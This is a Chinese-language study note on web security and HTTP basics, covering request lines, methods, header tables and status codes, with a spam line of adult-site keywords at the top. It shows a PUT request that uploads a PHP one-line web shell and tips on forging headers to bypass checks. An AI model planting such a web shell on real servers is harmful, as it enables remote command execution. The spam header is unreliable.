<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      Web安全與滲透測(cè)試筆記

      Web安全與滲透測(cè)試筆記

      @author: lamaper

       

      一、基本網(wǎng)絡(luò)知識(shí)

      (一)網(wǎng)絡(luò)是怎樣聯(lián)通的

      (二)Http協(xié)議

      http請(qǐng)求

      一個(gè)完整的Http請(qǐng)求由四個(gè)部分組成:

      1. 請(qǐng)求行

      2. 請(qǐng)求頭

      3. 空行

      4. 請(qǐng)求體

      1、請(qǐng)求行

      請(qǐng)求行:請(qǐng)求行是由請(qǐng)求方法字段、url字段、http協(xié)議版本字段3個(gè)部分組成。請(qǐng)求行定義了本次請(qǐng)求的方式,格式如下:GET/example.html HTTP/1.1(CRLF)

      請(qǐng)求方法有如下幾種:

      1. GET: 請(qǐng)求獲取Request-URI所標(biāo)識(shí)的資源

      2. POST: 在Request-URI所標(biāo)識(shí)的資源后增加新的數(shù)據(jù)

      3. HEAD: 請(qǐng)求獲取由Request-URI所標(biāo)識(shí)的資源的響應(yīng)消息報(bào)頭

      4. PUT: 請(qǐng)求服務(wù)器存儲(chǔ)或修改一個(gè)資源,并用Request-URI作為其標(biāo)識(shí)

      5. DELETE: 請(qǐng)求服務(wù)器刪除Request-URI所標(biāo)識(shí)的資源

      6. TRACE: 請(qǐng)求服務(wù)器回送收到的請(qǐng)求信息,主要用于測(cè)試或診斷

      7. CONNECT: 保留將來(lái)使用

      8. OPTIONS: 請(qǐng)求查詢(xún)服務(wù)器的性能,或者查詢(xún)與資源相關(guān)的選項(xiàng)和需求

      其中在Web安全中常用的方法為GET和POST,他們通常與編程語(yǔ)言結(jié)合,用來(lái)傳遞某些參數(shù),例如在php中:

      $a = $_GET['a'];
      $b = $_POST['b'];

      就代表通過(guò)get請(qǐng)求對(duì)變量a進(jìn)行傳值,通過(guò)post請(qǐng)求給變量b傳值。

      GET請(qǐng)求一般寫(xiě)在url中,例如:

      http://www.example.com/?a=123

      ?引出需要傳遞的變量,接著對(duì)其賦值,若需要多個(gè)變量同時(shí)賦值,則需要使用&,例如:

      http://www.example.com/?a=123&b=456

      除此之外,post傳遞參數(shù)寫(xiě)在請(qǐng)求體中,并且省略問(wèn)號(hào),直接寫(xiě)a=123

      另外PUT方法在某些時(shí)候可以用于上傳惡意代碼,這是因?yàn)镻UT可以直接將請(qǐng)求體中的以文件形式上傳,如:

      PUT example.com/trojan.php HTTP/1.1
      Host:................
      ...........
      ?
      <?php
      eval($_POST['cmd']);
      ?>

      這樣trojan.php就會(huì)被創(chuàng)建并且會(huì)含有請(qǐng)求體里面的內(nèi)容,如果Trojan已經(jīng)存在就會(huì)被修改。

      當(dāng)然并不是所有服務(wù)器都會(huì)允許這些請(qǐng)求方法,通常只有GET、POST被允許,如果我們不知道那些方法被允許,可以使用OPTIONS查看相應(yīng)頭中的Allow的值,這里面包含了服務(wù)器允許的請(qǐng)求方式。

      另外,由于http請(qǐng)求頭是以文本形式發(fā)送,有些服務(wù)器可以接受特殊的自定義方法,如MoeCTF曾要求選手使用不存在的IS方法對(duì)服務(wù)器進(jìn)行請(qǐng)求。

      2、請(qǐng)求頭

      請(qǐng)求頭:也被稱(chēng)作消息報(bào)頭,請(qǐng)求頭是由一些鍵值對(duì)組成,每行一對(duì),關(guān)鍵字和值用英文冒號(hào):分隔。允許客戶(hù)端向服務(wù)器發(fā)送一些附加信息或者客戶(hù)端自身的信息,典型的請(qǐng)求頭如下:

      MIME(Multipurpose Internet Mail Extensions)多用途互聯(lián)網(wǎng)郵件擴(kuò)展類(lèi)型。是設(shè)定某種擴(kuò)展名的文件用一種應(yīng)用程序來(lái)打開(kāi)的方式類(lèi)型,當(dāng)該擴(kuò)展名文件被訪問(wèn)的時(shí)候,瀏覽器會(huì)自動(dòng)使用指定應(yīng)用程序來(lái)打開(kāi)。多用于指定一些客戶(hù)端自定義的文件名,以及一些媒體文件打開(kāi)方式。

      Header解釋示例
      Accept 指定客戶(hù)端能夠接收的內(nèi)容類(lèi)型 Accept: text/plain, text/html
      Accept-Charset 瀏覽器可以接受的字符編碼集。 Accept-Charset: iso-8859-5
      Accept-Encoding 指定瀏覽器可以支持的web服務(wù)器返回內(nèi)容壓縮編碼類(lèi)型。 Accept-Encoding: compress, gzip
      Accept-Language 瀏覽器可接受的語(yǔ)言 Accept-Language: en,zh
      Accept-Ranges 可以請(qǐng)求網(wǎng)頁(yè)實(shí)體的一個(gè)或者多個(gè)子范圍字段 Accept-Ranges: bytes
      Authorization HTTP授權(quán)的授權(quán)證書(shū) Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
      Cache-Control 指定請(qǐng)求和響應(yīng)遵循的緩存機(jī)制 Cache-Control: no-cache
      Connection 表示是否需要持久連接。(HTTP 1.1默認(rèn)進(jìn)行持久連接) Connection: close
      Cookie HTTP請(qǐng)求發(fā)送時(shí),會(huì)把保存在該請(qǐng)求域名下的所有cookie值一起發(fā)送給web服務(wù)器。 Cookie: $Version=1; Skin=new;
      Content-Length 請(qǐng)求的內(nèi)容長(zhǎng)度 Content-Length: 348
      Content-Type 請(qǐng)求的與實(shí)體對(duì)應(yīng)的MIME信息 Content-Type: application/x-www-form-urlencoded
      Date 請(qǐng)求發(fā)送的日期和時(shí)間 Date: Tue, 15 Nov 2010 08:12:31 GMT
      Expect 請(qǐng)求的特定的服務(wù)器行為 Expect: 100-continue
      From 發(fā)出請(qǐng)求的用戶(hù)的Email From: user@email.com
      Host 指定請(qǐng)求的服務(wù)器的域名和端口號(hào) Host: www.example.com
      If-Match 只有請(qǐng)求內(nèi)容與實(shí)體相匹配才有效 If-Match: “737060cd8c284d8af7ad3082f209582d”
      If-Modified-Since 如果請(qǐng)求的部分在指定時(shí)間之后被修改則請(qǐng)求成功,未被修改則返回304代碼 If-Modified-Since: Sat, 29 Oct 2010 19:43:31 GMT
      If-None-Match 如果內(nèi)容未改變返回304代碼,參數(shù)為服務(wù)器先前發(fā)送的Etag,與服務(wù)器回應(yīng)的Etag比較判斷是否改變 If-None-Match: “737060cd8c284d8af7ad3082f209582d”
      If-Range 如果實(shí)體未改變,服務(wù)器發(fā)送客戶(hù)端丟失的部分,否則發(fā)送整個(gè)實(shí)體。參數(shù)也為Etag If-Range: “737060cd8c284d8af7ad3082f209582d”
      If-Unmodified-Since 只在實(shí)體在指定時(shí)間之后未被修改才請(qǐng)求成功 If-Unmodified-Since: Sat, 29 Oct 2010 19:43:31 GMT
      Max-Forwards 限制信息通過(guò)代理和網(wǎng)關(guān)傳送的時(shí)間 Max-Forwards: 10
      Pragma 用來(lái)包含實(shí)現(xiàn)特定的指令 Pragma: no-cache
      Proxy-Authorization 連接到代理的授權(quán)證書(shū) Proxy-Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
      Range 只請(qǐng)求實(shí)體的一部分,指定范圍 Range: bytes=500-999
      Referer 先前網(wǎng)頁(yè)的地址,當(dāng)前請(qǐng)求網(wǎng)頁(yè)緊隨其后,即來(lái)路 Referer: http://www.example.com/index.html
      TE 客戶(hù)端愿意接受的傳輸編碼,并通知服務(wù)器接受接受尾加頭信息 TE: trailers,deflate;q=0.5
      Upgrade 向服務(wù)器指定某種傳輸協(xié)議以便服務(wù)器進(jìn)行轉(zhuǎn)換(如果支持) Upgrade: HTTP/2.0, SHTTP/1.3, IRC/6.9, RTA/x11
      User-Agent User-Agent的內(nèi)容包含發(fā)出請(qǐng)求的用戶(hù)信息 User-Agent: Mozilla/5.0 (Linux; X11)
      Via 通知中間網(wǎng)關(guān)或代理服務(wù)器地址,通信協(xié)議 Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)
      Warning 關(guān)于消息實(shí)體的警告信息 Warn: 199 Miscellaneous warning
      X-Forwarded-For 用來(lái)偽裝來(lái)源ip X-Forwarded-For: 127.0.0.1

      在Web安全中我們常用的請(qǐng)求頭有cookie,RefererUser-Agent,X-Forwarded-For。

      cookie是為了保持用戶(hù)訪問(wèn)網(wǎng)頁(yè)連貫性而存在的,與其相似的還有session,對(duì)于cookie:

      Cookie是一段不超過(guò)4KB的小型文本數(shù)據(jù),由一個(gè)名稱(chēng)(Name)、一個(gè)值(Value)和其它幾個(gè)用于控制Cookie有效期、安全性、使用范圍的可選屬性組成。其中: (1)Name/Value:設(shè)置Cookie的名稱(chēng)及相對(duì)應(yīng)的值,對(duì)于認(rèn)證Cookie,Value值包括Web服務(wù)器所提供的訪問(wèn)令牌。 (2)Expires屬性:設(shè)置Cookie的生存期。有兩種存儲(chǔ)類(lèi)型的Cookie:會(huì)話性與持久性。Expires屬性缺省時(shí),為會(huì)話性Cookie,僅保存在客戶(hù)端內(nèi)存中,并在用戶(hù)關(guān)閉瀏覽器時(shí)失效;持久性Cookie會(huì)保存在用戶(hù)的硬盤(pán)中,直至生存期到或用戶(hù)直接在網(wǎng)頁(yè)中單擊“注銷(xiāo)”等按鈕結(jié)束會(huì)話時(shí)才會(huì)失效。 (3)Path屬性:定義了Web站點(diǎn)上可以訪問(wèn)該Cookie的目錄。 (4)Domain屬性:指定了可以訪問(wèn)該 Cookie 的 Web 站點(diǎn)或域。Cookie 機(jī)制并未遵循嚴(yán)格的同源策略,允許一個(gè)子域可以設(shè)置或獲取其父域的 Cookie。當(dāng)需要實(shí)現(xiàn)單點(diǎn)登錄方案時(shí),Cookie 的上述特性非常有用,然而也增加了 Cookie受攻擊的危險(xiǎn),比如攻擊者可以借此發(fā)動(dòng)會(huì)話定置攻擊。因而,瀏覽器禁止在 Domain 屬性中設(shè)置.org、.com 等通用頂級(jí)域名、以及在國(guó)家及地區(qū)頂級(jí)域下注冊(cè)的二級(jí)域名,以減小攻擊發(fā)生的范圍。 (5)Secure屬性:指定是否使用HTTPS安全協(xié)議發(fā)送Cookie。使用HTTPS安全協(xié)議,可以保護(hù)Cookie在瀏覽器和Web服務(wù)器間的傳輸過(guò)程中不被竊取和篡改。該方法也可用于Web站點(diǎn)的身份鑒別,即在HTTPS的連接建立階段,瀏覽器會(huì)檢查Web網(wǎng)站的SSL證書(shū)的有效性。但是基于兼容性的原因(比如有些網(wǎng)站使用自簽署的證書(shū))在檢測(cè)到SSL證書(shū)無(wú)效時(shí),瀏覽器并不會(huì)立即終止用戶(hù)的連接請(qǐng)求,而是顯示安全風(fēng)險(xiǎn)信息,用戶(hù)仍可以選擇繼續(xù)訪問(wèn)該站點(diǎn)。由于許多用戶(hù)缺乏安全意識(shí),因而仍可能連接到Pharming攻擊所偽造的網(wǎng)站。 (6)HTTPOnly 屬性 :用于防止客戶(hù)端腳本通過(guò)document.cookie屬性訪問(wèn)Cookie,有助于保護(hù)Cookie不被跨站腳本攻擊竊取或篡改。但是,HTTPOnly的應(yīng)用仍存在局限性,一些瀏覽器可以阻止客戶(hù)端腳本對(duì)Cookie的讀操作,但允許寫(xiě)操作;此外大多數(shù)瀏覽器仍允許通過(guò)XMLHTTP對(duì)象讀取HTTP響應(yīng)中的Set-Cookie頭。

      所以修改本地瀏覽器cookie可以進(jìn)行一些操作,繞過(guò)某些網(wǎng)站的驗(yàn)證等。

      Referer也常用于繞過(guò)某些網(wǎng)站的驗(yàn)證,例如某些頁(yè)面的訪問(wèn)要求必須是從指定的頁(yè)面跳轉(zhuǎn),那么修改referer至就可以達(dá)到這樣的效果。

      User-Agent常用于偽裝請(qǐng)求者的來(lái)源,有些網(wǎng)站電腦版和手機(jī)版的操作邏輯不一樣或者存在特性,我們?cè)陔娔X上無(wú)法直接訪問(wèn)到手機(jī)版網(wǎng)頁(yè),這樣就可以通過(guò)修改UA來(lái)進(jìn)行偽裝來(lái)源,有一些常見(jiàn)的UA:

      <----------手機(jī)版:------------>
      偽裝成Opera Mobile:
      Opera/12.02 (Android 4.1; Linux; Opera Mobi/ADR-1111101157; U; en-US) Presto/2.9.201 Version/12.02
      ?
      偽裝成iPhone的Safari:
      Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543 Safari/419.3
      ?
      偽裝成iPhone下的Chrome:
      Mozilla/5.0 (iPhone; U; CPU iPhone OS 5_1_1 like Mac OS X; en) AppleWebKit/534.46.0 (KHTML, like Gecko) CriOS/19.0.1084.60 Mobile/9B206 Safari/7534.48.3
      ?
      偽裝成Chrome手機(jī)端:
      Mozilla/5.0 (Linux; Android 4.0.4; Galaxy Nexus Build/IMM76B)
      AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.133 Mobile
      Safari/535.19
      ?
      <----------電腦版:------------>
      谷歌Chrome(Webkit、Blink)
      UserAgent:Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.138 Safari/537.36
      ?
      蘋(píng)果Safair(Webkit、Webkit2)
      UserAgent:Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5。
      ?
      微軟IE/Edge(Triden、Blink)
      IE11-UserAgent:Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko
      Edge-UserAgent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36Edge/13.10586
      ?
      火狐Firefox
      User-Agent:Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0

      一些UA的來(lái)源于趣事

      X-Forwarded-For用于修改請(qǐng)求IP,用此可以偽裝請(qǐng)求者的來(lái)源IP。

      3、空行

      空行必不可少,它代表著請(qǐng)求頭結(jié)束,引出請(qǐng)求體

      4、請(qǐng)求體

      根據(jù)請(qǐng)求方式

      http相應(yīng)

      HTTP響應(yīng)由三部分組成,狀態(tài)行、消息報(bào)頭、響應(yīng)正文

      1、狀態(tài)行

      狀態(tài)行由三部分組成,HTTP協(xié)議的版本號(hào)、狀態(tài)碼、以及對(duì)狀態(tài)碼的文本描述。如:

      HTTP/1.1 200 OK (CRLF)

      響應(yīng)狀態(tài)碼

      一般分為五類(lèi):

      1. 1xx——信息響應(yīng),這一類(lèi)型的狀態(tài)碼,代表請(qǐng)求已被接受,需要繼續(xù)處理,這類(lèi)響應(yīng)是臨時(shí)響應(yīng),只包含狀態(tài)行和某些可選的響應(yīng)頭信息,并以空行結(jié)束,這一類(lèi)型的狀態(tài)碼,代表請(qǐng)求已被接受,需要繼續(xù)處理。這類(lèi)響應(yīng)是臨時(shí)響應(yīng),只包含狀態(tài)行和某些可選的響應(yīng)頭信息,并以空行結(jié)束。由于HTTP/1.0協(xié)議中沒(méi)有定義任何1xx狀態(tài)碼,所以除非在某些試驗(yàn)條件下,服務(wù)器禁止向此類(lèi)客戶(hù)端發(fā)送1xx響應(yīng)。這些狀態(tài)碼代表的響應(yīng)都是信息性的,標(biāo)示客戶(hù)應(yīng)該采取的其他行動(dòng)。

      2. 2xx——成功響應(yīng),求已成功被服務(wù)器接收,理解,并接受,也就是一次成功的響應(yīng)。

      3. 3xx——重定向,這類(lèi)狀態(tài)碼代表需要客戶(hù)端采取進(jìn)一步的操作才能完成請(qǐng)求。通常,這些狀態(tài)碼用來(lái)重定向,后續(xù)的請(qǐng)求地址(重定向目標(biāo))在本次響應(yīng)的Location域中指明。當(dāng)且僅當(dāng)后續(xù)的請(qǐng)求所使用的方法是GET或者HEAD時(shí),用戶(hù)瀏覽器才可以在沒(méi)有用戶(hù)介入的情況下自動(dòng)提交所需要的后續(xù)請(qǐng)求。

      4. 4xx——客戶(hù)端錯(cuò)誤,這類(lèi)的狀態(tài)碼代表了客戶(hù)端看起來(lái)可能發(fā)生了錯(cuò)誤,妨礙了服務(wù)器的處理。除非響應(yīng)的是一個(gè)HEAD請(qǐng)求,否則服務(wù)器就應(yīng)該返回一個(gè)解釋當(dāng)前錯(cuò)誤狀況的實(shí)體,以及這是臨時(shí)的還是永久性的狀況。這些狀態(tài)碼適用于任何請(qǐng)求方法。瀏覽器應(yīng)當(dāng)向用戶(hù)顯示任何包含在此類(lèi)錯(cuò)誤響應(yīng)中的實(shí)體內(nèi)容。

      5. 5xx——服務(wù)端錯(cuò)誤,表示服務(wù)器無(wú)法完成明顯有效的請(qǐng)求。這類(lèi)狀態(tài)碼代表了服務(wù)器在處理請(qǐng)求的過(guò)程中有錯(cuò)誤或者異常狀態(tài)發(fā)生,也有可能是服務(wù)器意識(shí)到以當(dāng)前的軟硬件資源無(wú)法完成對(duì)請(qǐng)求的處理。除非這是一個(gè)HEAD請(qǐng)求,否則服務(wù)器應(yīng)當(dāng)包含一個(gè)解釋當(dāng)前錯(cuò)誤狀態(tài)以及這個(gè)狀況是臨時(shí)的還是永久的解釋信息實(shí)體。瀏覽器應(yīng)當(dāng)向用戶(hù)展示任何在當(dāng)前響應(yīng)中被包含的實(shí)體。這些狀態(tài)碼適用于任何響應(yīng)方法。

      http狀態(tài)碼可以通過(guò)chrome的網(wǎng)絡(luò),然后找到all,就可以看到相應(yīng)接口的狀態(tài)碼。一般200表示成功。

      響應(yīng)狀態(tài)碼具體包括哪些

      1xx

      • 100

        • 服務(wù)器已經(jīng)接收到請(qǐng)求頭,并且客戶(hù)端應(yīng)繼續(xù)發(fā)送請(qǐng)求主體?;蛘呷绻?qǐng)求已經(jīng)完成,忽略這個(gè)響應(yīng)。服務(wù)器必須在請(qǐng)求完成后,向客戶(hù)端發(fā)送一個(gè)最終的請(qǐng)求。

      • 101

        • 服務(wù)器已經(jīng)理解了客戶(hù)端的請(qǐng)求,并通過(guò)升級(jí)消息頭,通知客戶(hù)端采用不同的協(xié)議來(lái)完成這個(gè)請(qǐng)求。在發(fā)送完這個(gè)響應(yīng)最后的空行后,服務(wù)器將切換到在升級(jí)消息頭中定義的那些協(xié)議。

      • 102

        • 服務(wù)器已經(jīng)收到并正在處理請(qǐng)求,但無(wú)響應(yīng)可用。這樣可以防止客戶(hù)端超時(shí),并假設(shè)請(qǐng)求丟失。

      2xx

      • 200

        • 請(qǐng)求已經(jīng)成功,請(qǐng)求希望的響應(yīng)頭或數(shù)據(jù)體將隨之響應(yīng)返回。實(shí)際的響應(yīng)則取決于你請(qǐng)求的方法,就以GET和POST的請(qǐng)求為例,在GET的請(qǐng)求中,響應(yīng)將包含與請(qǐng)求的資源相對(duì)應(yīng)的實(shí)體。則在POST的請(qǐng)求中,響應(yīng)將包含描述或操作結(jié)果的實(shí)體。

      • 201

        • 請(qǐng)求已經(jīng)被實(shí)現(xiàn),而且有一個(gè)新的資源已經(jīng)依據(jù)請(qǐng)求的需要而創(chuàng)建,并且URI已經(jīng)隨Location頭信息返回。

      • 202

        • 服務(wù)器已經(jīng)接受請(qǐng)求,但是尚未處理,最終該請(qǐng)求也可能不會(huì)被執(zhí)行,并且可能在處理發(fā)生時(shí)被禁止。

      • 203

        • 服務(wù)器是一個(gè)轉(zhuǎn)換代理服務(wù)器,例如網(wǎng)絡(luò)加速器,以200狀態(tài)碼為起源,但回應(yīng)了原始響應(yīng)的修改版本。

      • 204

        • 服務(wù)器處理了請(qǐng)求,沒(méi)有返回內(nèi)容。。一般適用場(chǎng)景,在wifi設(shè)備連接到需要進(jìn)行Web認(rèn)證的Wife接入點(diǎn)時(shí),通過(guò)訪問(wèn)一個(gè)能在HTTP 204響應(yīng)的網(wǎng)站,如果能正常接受204的響應(yīng),則代表無(wú)需Web認(rèn)證,否則會(huì)彈出網(wǎng)頁(yè)瀏覽器界面,顯示出Web網(wǎng)頁(yè)認(rèn)證界面用于讓用戶(hù)進(jìn)行登陸。

      • 205

        • 服務(wù)器成功處理了請(qǐng)求,但沒(méi)有返回任何內(nèi)容。與204的區(qū)別就是,此響應(yīng)要求請(qǐng)求者重置文檔視圖。

      • 206

        • 服務(wù)器已經(jīng)成功處理了部分GET請(qǐng)求。典型的應(yīng)用就是像迅雷這類(lèi)的HTTP下載工具響應(yīng)實(shí)現(xiàn)端點(diǎn)續(xù)傳或者將一個(gè)大文檔分解為多個(gè)下載段同時(shí)下載。

      • 207

        • 代表之后的消息體將是一個(gè)XML消息,并且可能依照之前子請(qǐng)求數(shù)量的不同,包含一系列獨(dú)立的響應(yīng)代碼。

      • 208

        • DAV綁定的成員已經(jīng)在(多狀態(tài))響應(yīng)之前的部分被列舉,且未被再次包含。

      • 226

        • 服務(wù)器已經(jīng)滿(mǎn)足了對(duì)資源的請(qǐng)求,對(duì)實(shí)體請(qǐng)求的一個(gè)或多個(gè)實(shí)體操作的結(jié)果表示。

      3xx

      • 300

        • 被請(qǐng)求的資源有一系列可供選擇的回饋信息,每個(gè)都有自己特定的地址和瀏覽器驅(qū)動(dòng)的商議信息。用戶(hù)或?yàn)g覽器能夠自行選擇一個(gè)首選的地址進(jìn)行重定向。除非這是一個(gè)HEAD請(qǐng)求,否則該響應(yīng)應(yīng)當(dāng)包括一個(gè)資源特性及地址的列表的實(shí)體,以便用戶(hù)或?yàn)g覽器從中選擇最合適的重定向地址。這個(gè)實(shí)體的格式由Content-Type定義的格式所決定。瀏覽器可能根據(jù)響應(yīng)的格式以及瀏覽器自身能力,自動(dòng)作出最合適的選擇。

      • Content-Type 標(biāo)頭告訴客戶(hù)端實(shí)際返回的內(nèi)容的內(nèi)容類(lèi)型。一般在http的請(qǐng)求頭進(jìn)行設(shè)置。一般有以下的幾種格式:

        • text/html: HTML 格式

        • text/plain: 純文本格式

        • text/xml: XML 格式

        • image/gif: gif圖片格式

        • image/jpeg: jpg圖片格式

        • image/png: png圖片格式

      • 301

        • 被請(qǐng)求的資源已永久移動(dòng)到新位置,并且將來(lái)任何對(duì)此資源的引用都應(yīng)該使用本響應(yīng)返回的若干個(gè)URI之一。如果可能,擁有鏈接編輯功能的客戶(hù)端應(yīng)當(dāng)自動(dòng)把請(qǐng)求的地址修改為從服務(wù)器反饋回來(lái)的地址。除非額外指定,否則這個(gè)響應(yīng)也是可緩存的。

      • 302

        • 要求客戶(hù)端執(zhí)行臨時(shí)重定向,由于這樣的重定向是臨時(shí)的,客戶(hù)端應(yīng)當(dāng)繼續(xù)向原有地址發(fā)送以后的請(qǐng)求,只有在Cache-Control或Expires中進(jìn)行了指定的情況下,這個(gè)響應(yīng)才是可緩存的。Cache-Control是http響應(yīng)頭用來(lái)放置緩存信息的。

      • 303

        • 對(duì)應(yīng)當(dāng)前請(qǐng)求的響應(yīng)可以在另一個(gè)URI上被找到,當(dāng)響應(yīng)于POST(或PUT / DELETE)接收到響應(yīng)時(shí),客戶(hù)端應(yīng)該假定服務(wù)器已經(jīng)收到數(shù)據(jù),并且應(yīng)該使用單獨(dú)的GET消息發(fā)出重定向。這個(gè)方法的存在主要是為了允許由腳本激活的POST請(qǐng)求輸出重定向到一個(gè)新的資源。這個(gè)新的URI不是原始資源的替代引用。同時(shí),303響應(yīng)禁止被緩存。當(dāng)然,第二個(gè)請(qǐng)求(重定向)可能被緩存。

      • 304

        • 表示資源在由請(qǐng)求頭中的if-Modified-Since 或 if-None-Match 參數(shù)指定的這一版本之后,未曾被修改。由于客戶(hù)端仍然具有以前下載的副本,因此不需要重新傳輸資源。

      • 305

        • 被請(qǐng)求的資源必須通過(guò)指定的代理才能被訪問(wèn)。Location域中將給出指定的代理所在的URI信息,接收者需要重復(fù)發(fā)送一個(gè)單獨(dú)的請(qǐng)求,通過(guò)這個(gè)代理才能訪問(wèn)相應(yīng)資源。只有原始服務(wù)器才能創(chuàng)建305響應(yīng)。

      • 306

        • 在最新版的規(guī)范中,306狀態(tài)碼已經(jīng)不再被使用。最初是指“后續(xù)請(qǐng)求應(yīng)使用指定的代理”。

      • 307

        • 在這種情況下,請(qǐng)求應(yīng)該與另一個(gè)URI重復(fù),但后續(xù)的請(qǐng)求應(yīng)仍使用原始的URI,與302相反,當(dāng)重新發(fā)出原始請(qǐng)求時(shí),不允許更改請(qǐng)求方法。 例如,應(yīng)該使用另一個(gè)POST請(qǐng)求來(lái)重復(fù)POST請(qǐng)求。

      • 308

        • 請(qǐng)求和所有將來(lái)的請(qǐng)求應(yīng)該使用另一個(gè)URI重復(fù)。 307和308重復(fù)302和301的行為,但不允許HTTP方法更改。 例如,將表單提交給永久重定向的資源可能會(huì)順利進(jìn)行。

      4xx

      • 400

        • 由于明顯的客戶(hù)端錯(cuò)誤(例如,格式錯(cuò)誤的請(qǐng)求語(yǔ)法,太大的大小,無(wú)效的請(qǐng)求消息或欺騙性路由請(qǐng)求),服務(wù)器不能或不會(huì)處理該請(qǐng)求。

      • 401

        • 類(lèi)似于403 Forbidden,401語(yǔ)義即"未認(rèn)證",即用戶(hù)沒(méi)有必要的憑據(jù)。該狀態(tài)碼表示當(dāng)前需求需要用戶(hù)驗(yàn)證。

      • 402

        • 該狀態(tài)碼是為了將來(lái)可能的需求而預(yù)留的。該狀態(tài)碼最初的意圖可能被用作某種形式的數(shù)字現(xiàn)金或在線支付方案的一部分,但幾乎沒(méi)有哪家服務(wù)商使用,而且這個(gè)狀態(tài)碼通常不被使用。

      • 403

        • 服務(wù)器已經(jīng)理解請(qǐng)求,但是拒絕執(zhí)行它。與401響應(yīng)不同的是,身份驗(yàn)證并不能提供任何幫助,而且這個(gè)請(qǐng)求也不應(yīng)該被重復(fù)提交。如果這不是一個(gè)HEAD請(qǐng)求,而且服務(wù)器希望能夠講清楚為何請(qǐng)求不能被執(zhí)行,那么就應(yīng)該在實(shí)體內(nèi)描述拒絕的原因。當(dāng)然服務(wù)器也可以返回一個(gè)404響應(yīng),假如它不希望讓客戶(hù)端獲得任何信息。

      • 404

        • 請(qǐng)求失敗,請(qǐng)求所希望得到的資源未被在服務(wù)器上發(fā)現(xiàn),但允許用戶(hù)的后續(xù)請(qǐng)求。沒(méi)有信息能夠告訴用戶(hù)這個(gè)狀況到底是暫時(shí)的還是永久的。假如服務(wù)器知道情況的話,應(yīng)當(dāng)使用404狀態(tài)碼來(lái)告知舊資源因?yàn)槟承﹥?nèi)部的配置機(jī)制問(wèn)題已經(jīng)永久的不可用,而且沒(méi)有任何可以跳轉(zhuǎn)的地址。404這個(gè)狀態(tài)碼被廣泛應(yīng)用于當(dāng)服務(wù)器不想揭示到底為何請(qǐng)求被拒絕或者沒(méi)有其他適合的響應(yīng)可用的情況。

      • 405

        • 請(qǐng)求行中指定的請(qǐng)求方法不能被用于請(qǐng)求相應(yīng)的資源。該響應(yīng)必須返回一個(gè)Allow頭信息用以表示出當(dāng)前資源能夠接受的請(qǐng)求方法的列表。例如,需要通過(guò)POST呈現(xiàn)數(shù)據(jù)的表單上的GET請(qǐng)求,或只讀資源上的PUT請(qǐng)求。鑒于PUT,DELETE方法會(huì)對(duì)服務(wù)器上的資源進(jìn)行寫(xiě)操作,因而絕大部分的網(wǎng)頁(yè)服務(wù)器都不支持或者在默認(rèn)的配置下不允許上述的請(qǐng)求方法,對(duì)于此類(lèi)請(qǐng)求均會(huì)返回405錯(cuò)誤。

      • 406

        • 請(qǐng)求的資源的內(nèi)容特性無(wú)法滿(mǎn)足請(qǐng)求頭中的條件,因而無(wú)法生成響應(yīng)實(shí)體,該請(qǐng)求不可接受。除非這是一個(gè)HEAD請(qǐng)求,否則該響應(yīng)就應(yīng)當(dāng)返回一個(gè)包含可以讓用戶(hù)或者瀏覽器從中選擇最合適的實(shí)體特性以及地址欄表的實(shí)體。實(shí)體的格式由Content-Type頭中定義的媒體類(lèi)型決定。瀏覽器可以根據(jù)格式及自身能力自行作出最佳選擇。但是,規(guī)范中并沒(méi)有定義任何作出此類(lèi)自動(dòng)選擇的標(biāo)準(zhǔn)。

      • 407

        • 與401的響應(yīng)類(lèi)似,不同的是客戶(hù)端必須在代理服務(wù)器上進(jìn)行身份驗(yàn)證。代理服務(wù)器必須返回一個(gè)Proxy-Authenticate用以進(jìn)行身份詢(xún)問(wèn)。客戶(hù)端可以返回一個(gè)Proxy-Authorization信息頭用以驗(yàn)證。

      • 408

        • 請(qǐng)求超時(shí)。根據(jù)HTTP規(guī)范,客戶(hù)端沒(méi)有在服務(wù)器預(yù)備等待的時(shí)間內(nèi)完成一個(gè)請(qǐng)求的發(fā)送,客戶(hù)端可以隨時(shí)再次提交這一請(qǐng)求而無(wú)需進(jìn)行任何更改。

      • 409

        • 表示因?yàn)檎?qǐng)求存在沖突無(wú)法處理該請(qǐng)求,例如多個(gè)同步更新之間的編輯沖突。

      • 410

        • 表示所請(qǐng)求的資源不再可用,將不再可用。當(dāng)資源被有意地刪除并且資源應(yīng)被清除時(shí),應(yīng)該使用這個(gè)。在收到410狀態(tài)碼后,用戶(hù)應(yīng)停止再次請(qǐng)求資源。但大多數(shù)服務(wù)端不會(huì)使用此狀態(tài)碼,而是直接使用404狀態(tài)碼。

      • 411

        • 服務(wù)器拒絕在沒(méi)有定義Content-Length頭的情況下接受請(qǐng)求。在添加了表明請(qǐng)求消息體長(zhǎng)度的有效Content-Length頭之后,客戶(hù)端可以再次提交該請(qǐng)求。

      • 412

        • 服務(wù)器在驗(yàn)證在請(qǐng)求的頭字段中給出先決條件時(shí),沒(méi)能滿(mǎn)足其中的一個(gè)或多個(gè)。這個(gè)狀態(tài)碼允許客戶(hù)端在獲取資源時(shí)在請(qǐng)求的元信息(請(qǐng)求頭字段數(shù)據(jù))中設(shè)置先決條件,以此避免該請(qǐng)求方法被應(yīng)用到其希望的內(nèi)容以外的資源上。

      • 413

